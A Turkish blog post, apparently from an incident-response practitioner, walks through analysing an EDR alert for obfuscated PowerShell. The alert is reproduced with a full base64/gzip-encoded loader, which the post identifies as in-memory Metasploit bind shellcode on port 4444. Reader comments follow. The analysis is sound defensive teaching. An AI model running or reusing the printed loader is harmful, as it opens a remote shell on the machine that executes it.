Sysmon gibi ücretsiz, FireEye HX, Carbon Black Response gibi ticari EDR (endpoint detection & response) güvenlik teknolojilerine sahip olan kurumların yakından izlediği alarmların başında, hemen hemen her tehdit raporunda, araştırma yazısında adının sıklıkla geçtiği Powershell olduğunu az çok tahmin edebilirsiniz. Invoke-Obfuscation gibi yardımcı araçlar nedeniyle hedef işletim sisteminde Powershell kullanımın tespit edilmesinin çok daha zorlaştığı günümüzde, EDR teknolojilerine olan bağımlılık ve Powershell kayıtlarına olan ihtiyaç, kurumlar için elzem bir hale gelmiştir.
Her güvenlik teknolojisinde olduğu gibi EDR teknolojisinde de alarmları analiz edebilecek yetkinlikte insan kaynağı olmadan bu teknolojiye sahip olmak, kurumlar için ölü bir yatırım olmaktan öteye gidememektedir. Analistler sayesinde komut satırında tespit edilen bir alarmın günün sonunda hedef sistemin belleğinde çalıştırdığı kabukkodunun (shellcode) türüne, bağlantı noktasına kadar önemli bilgilere erişmek mümkün olabilmektedir.
Örneğin kurumunuzdaki EDR sisteminiz şüpheli bir Powershell kullanımı ile ilgili olarak aşağıdaki şekilde bir alarm ürettiğinde Siber Güvenlik Merkezi’nizdeki analistlerin en kısa sürede bu alarmı analiz etmek için işe koyulmaları gerekmektedir.
"event_values": {
"processEvent/eventType": "start",
"processEvent/process": "powershell.exe",
"processEvent/processPath": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
"processEvent/processCmdLine": "\"powershell.exe\" -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAL3yl1oCA7VWbW/iOBD+3JX2P0QrpCS6lJfCbtVKK53DS0lLWmgglHLo5CZOMDgxdZzysrf//SaQbLtq9273pItAOPaMPfM8z4wJ0tiTlMfKKtwqX96/O+pjgSNFK7HH1sAxlNLD3NOPjmChtLOVz4o2RatVi0eYxrPz82YqBInl4b18QSRKEhI9MEoSTVf+UsZzIsjxzcOCeFL5opT+LF8w/oBZbrZtYm9OlGMU+9laj3s4i6XsrBiVmvrHH6o+Pa7Nyu3HFLNEU51tIklU9hlTdeWrnh043K6IptrUEzzhgSyPaVw/KY/iBAfkGnZ7IjaRc+4nqg45wEcQmYpYgWwy98OipsKwL7iHfF+QBGzLVvzEl0QrxSljhvK7Ns3Pvk1jSSMC65IIvnKIeKIeScpdHPuM3JJgpl2TdZHyzzppL53Aqi+FbgAJr4K0uZ8ycvBT9ddhHmjT4cmpg6y/vn/3/l1Q8EyW3/EMo6PpfkwgNq3PE7o3+6xUDcWGc7DkYguvpaFIiT5Tphni09lMKW2WV8aP3WuFLVh67J6kMDd1OfVn4JNzUdrEg9PTbOHHomqRgMaktY1xRL1CN9pbIJOAkX2O5cLsGsLS1HyB+C3CSIhlBpyhTF+7tSMqv/maKWU+EcgDohKICjjUvw/mwIWmWrFNIgDp8K4C8AGolRTWuUK3xenZOxipTYaTxFD6KZSLZygOwYz4hoLihOZLKJV8P1Sfw7VTJqmHE1lsN9O/AZkf2ORxIkXqAXGQ/NBZEY9ilmFhKF3qE3Pr0LA4WH0TiSZmjMYh7PQETMBMhoAjMzkIiDGjXi87RFrRipEITPZ122E4hCrN1b6XDw6Jr76KsBD0Qb0ZGAUKL+IDhh3GpaG4VEio/wzYvZD+0/kvKv8QSVOQnAytqJGpuZWZtEvLXqb4Apc9CkICAh3BIxMn5FPDkQLw0T5UbmgTwTOxYmZ75pLW0JrWLBu+I1q3eOvUv7pcdCuitZkHyEosu9tvDbrdxtOl4zak07bkVd+SdvtusXBQ93Y0kfcW6g5pdTlp7FaXdOf0kD/ZVD7tzN26am52i9APJq0gCE8D57b2sUN74+bArJ7gXqud9sbm2qw2kjZddwd0NFheduTDxGV4FFTCu9oZppueWLg1bu8shC7mdW93GbgXc9vfTrqVs3FjidoINeO22zH51cQUqF9xcSjvRze9Mxx2HlG0eGydVUKwvcPIQm13e/kx4gOX+Xwtk/p9peK6J7T+abioVM7cO9wdJje/dSs1l8DYTYdjGI85wuHt2D0JmyfePIC9etfRCmGEBgiZYxyafHx1O/wYVNxl7foRde6Hz7Yjc72NL3xy2vqQ8QrElsIVeUHXj5qtjUUyxwxohD5aVE+Hi07eGfucZh6alt2ESyJiwuAmgbumECBijHtZW85aKNwIhz49gwIawbB+8uZIV74Z6s/9upg6P7+HGEHQoLhyj8ShnBvVTb1aheZb3TSqkOHPp9Xkq62W7WRkvTtDJd+Y7TfWM4mXeNs66/6vaOWFNYcf/1/Qep77h9WfQrBq7PN9Nfv9xC/B+at5jzGVYOhAX2DkcDW9mX6uixeX 954T4D3In+yf000qj6/hUv8bAKByiaAJAAA='))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))",
"processEvent/parentProcessPath": "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
"processEvent/parentProcess": "powershell.exe",
}
Alarmda dikkat çeken kısımların başında GzipStream, FromBase64String, IO.MemoryStream geldiğini görebilir ve buradan yola çıkarak GZIP ile paketlenip, Base64 ile gizlenmiş bu verinin bellekte bir işlem gerçekleştirdiği varsayımında bulunabilirsiniz.
Kali üzerinde bulunan echo, base64, xxd, gunzip komut satırı araçlarından faydalanarak kısa sürede gizlenmiş bu veriyi aşağıdaki şekilde çözebilirsiniz.
Ortaya çıkan Powershell betiğinin bellekten .Net API yardımı ile Windows API fonksiyonları çağırarak özetle bellekte yer açıp, açılmış belleğe, FromBase64String() fonksiyonu içinde yer alan kod parçasını kopyaladıktan sonra yeni bir iş parçacığı (thread) oluşturup, bu kod parçasını çalıştırdığını görebilirsiniz.
FromBase64String() fonksiyonu içinde yer alan kod parçasını çözmek için ise yine echo, base64, xxd komutlarından faydalanabilirsiniz. Ancak bu defa elinizde bellekten çalışmak üzere hazırlanmış bir kabukkodu olduğu için ilave olarak shellcode2exe ve Radare2 araçlarından da faydalanmanız gerekmektedir.
Radare2 ile shellcode dosyasını analiz ettiğinizde ise aslında bunun Metasploit‘in 4444. bağlantı noktasında dinleyen bir bind kabukkodu olduğunu görebilirsiniz.
Sonuca gelecek olursak, bu örnekten yola çıkarak günümüzde gerçekleştirilen ileri seviye siber saldırılarla mücadelede EDR gibi teknolojilerden kurumların tam anlamıyla faydalanabilmeleri için alarmları analiz edebilecek yetkin insan kaynağına da bir o kadar ihtiyaçları bulunmaktadır.
Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.
Not:
8 comments
4.5
5
Merhaba,
shellcode2exe.py çalıştırılırken işletim sistemi linux olarak belirtilmiş. Hedef işletim sistemi windows değil miydi? Ben mi atladım acaba?
Ayrıca yazı için teşekkürler emeğinize sağlık.
İyi çalışmalar.
Evet aynen öyle. Analizi yaptığınız sistem ile hedef sistem aynı olmak zorunda değil.
4
Merhaba,
Paylaşımınız için teşekkürler, üçüncü paragrafta “en kısa sürede” ifadesi iki kez geçtiği için ufak bir anlam bozukluğu olmuş :)
Teşekkürler, düzelttim.
0.5